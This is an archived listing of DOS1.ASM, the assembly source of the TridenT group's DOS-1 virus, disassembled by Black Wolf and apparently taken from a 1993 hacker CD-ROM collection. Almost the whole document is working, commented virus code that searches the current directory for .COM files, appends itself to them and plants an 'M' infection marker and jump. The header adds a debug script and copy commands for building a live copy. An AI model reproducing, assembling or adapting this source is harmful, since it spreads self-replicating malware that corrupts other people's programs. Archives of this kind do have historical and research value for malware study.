home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tridcoll.err / MASUDKHA.ZIP / DOS1.ZIP / DOS1.ASM next >
Encoding:
Assembly Source File  |  1993-07-22  |  4.4 KB  |  163 lines

  1. ;DOS1 virus by the TridenT research group - Direct Action appending .COM
  2.  
  3. ;This virus infects .COM files in the current directory using FCB's.
  4. ;Other than FCB use, the virus is VERY simple.  Avoids infecting misnamed
  5. ;EXE files by using an 'M' at the beginning of files to mark infection.
  6.  
  7. ;This virus requires a stub file made from the following debug script,
  8. ;to make it, compile the virus, then create the stub file by removing the
  9. ;semicolons from the code between the lines, saving it, and calling it
  10. ;vstub.hex.  Then use the following commands:
  11.  
  12. ;               Debug <vstub.hex
  13. ;               Copy /b vstub.com+dos1.com virus.com
  14.  
  15. ;And you will have a live copy of the DOS-1 virus.  Please be careful
  16. ;with it and do not release it.
  17.  
  18. ;-=-=-=-=-=-=-=-=-=-=-=-=-=≡[Begin Debug Script]≡=-=-=-=-=-=-=-=-=-=-=-=-=
  19. ;e100 4d eb 6 90 90
  20. ;rbx
  21. ;0
  22. ;rcx
  23. ;5
  24. ;nvstub.com
  25. ;w
  26. ;q
  27. ;-=-=-=-=-=-=-=-=-=-=-=-=-=≡[End Debug Script]≡=-=-=-=-=-=-=-=-=-=-=-=-=
  28.  
  29. ;Disassembly by Black Wolf
  30.  
  31. .model tiny                
  32. .code
  33.         org     100h
  34. start:
  35.         dec     bp
  36.         nop
  37.         int     20h
  38.  
  39. HostFile:       ;Not present to preserve original compiler offsets.....
  40.  
  41. Virus_Entry:
  42.         call    GetOffset
  43. Displacement:                
  44. db              'DOS-1',0
  45.   
  46. GetOffset:
  47.         pop     si
  48.         sub     si,offset Displacement-start
  49.         cld
  50.         
  51.         mov     di,100h
  52.         push    di                      ;Push DI on stack for ret...
  53.         
  54.         push    si                      ;Restore host file...
  55.         movsw
  56.         movsw
  57.  
  58.         pop     si
  59.         lea     dx,[si+VirusDTA-start]  ;set DS:DX = DTA 
  60.         call    SetDTA
  61.         mov     ax,1100h                ;Find first filename w/FCB's
  62.  
  63. FindFirstNext:
  64.         lea     dx,[si+SearchString-start]
  65.         int     21h                       ;Find first/next filename
  66.                           ;using FCB's (*.COM)
  67.         
  68.         or      al,al                   ;Were any .COM files found?
  69.         jnz     ResetDTA                ;No.... exit virus.
  70.  
  71.         lea     dx,[si+VirusDTA-start]
  72.         mov     ah,0fh
  73.         int     21h                     ;open .COM file w/FCB
  74.         
  75.         or      al,al                   ;Successful?
  76.         jnz     FindNextFile            ;No - find another.
  77.         
  78.         push    dx                      ;Push offset of DTA
  79.         
  80.         mov     di,dx
  81.  
  82.         mov     word ptr [di+0Eh],1  ;Set bytes per record to 1
  83.         xor     ax,ax                   
  84.         mov     [di+21h],ax          ;Set Random Record Num to 0
  85.         mov     [di+23h],ax          ;?
  86.         
  87.         lea     dx,[si]
  88.         call    SetDTA               ;Set DTA to just before virus
  89.                          ;code in memory - Storage bytes..
  90.  
  91.         lea     dx,[di]              ;DX = Virus DTA
  92.         mov     ah,27h
  93.         mov     cx,4
  94.         int     21h                  ;Read first 4 bytes w/FCB
  95.                
  96.         cmp     byte ptr [si],'M'    ;Is it an EXE file or infected?
  97.         je      CloseFile            ;exit...
  98.         
  99.         mov     ax,[di+10h]          ;AX = Filesize
  100.         mov     [di+21h],ax          ;Set current record to EOF
  101.  
  102.         cmp     ax,0F800h            ;Is file above F800h bytes?
  103.         ja      CloseFile            ;Too large, exit
  104.         
  105.         push    ax
  106.         lea     dx,[si]                 
  107.         call    SetDTA               ;Set DTA to storage bytes/virus.
  108.         
  109.         lea     dx,[di]                 
  110.         mov     ah,28h                  
  111.         mov     cx,end_virus-start
  112.         int     21h                  ;Write virus to end of file.
  113.                         
  114.         xor     ax,ax                   
  115.         mov     [di+21h],ax          ;Reset file to beginning.
  116.         lea     di,[si]              ;Point DI to DTA   
  117.         
  118.         mov     ax,0E94Dh            ;4dh E9h = marker and jump
  119.         stosw
  120.         pop     ax                   ;AX = jump size
  121.         stosw                        ;Put marker and jump into DTA
  122.         
  123.         push    dx
  124.         lea     dx,[si]
  125.         call    SetDTA               ;Set DTA for write
  126.  
  127.         pop     dx
  128.         mov     ah,28h
  129.         mov     cx,4
  130.         int     21h                 ;Write in ID byte 'M' and jump
  131.                         
  132. CloseFile:
  133.         pop     dx
  134.  
  135.         call    SetDTA
  136.         mov     ah,10h
  137.         int     21h                     ;Close file w/FCB
  138.                
  139. FindNextFile:
  140.         mov     ah,12h
  141.         jmp     short FindFirstNext     ;Find next file...
  142.  
  143. ResetDTA:
  144.         mov     dx,80h                  ;80h = default DTA
  145.         call    SetDTA
  146.         retn
  147.  
  148. SetDTA:
  149.         mov     ah,1Ah
  150.         int     21h                     ;Set DTA to DS:DX
  151.         retn
  152.  
  153.         db       'MK'                   ;Musad Khafir's signature
  154.  
  155. SearchString:                
  156.         db       0                      ;Default Drive
  157.         db       '????????COM'          ;Search for all .COM files.
  158. end_virus:
  159.  
  160.         org 1d1h
  161. VirusDTA:
  162. end     start
  163.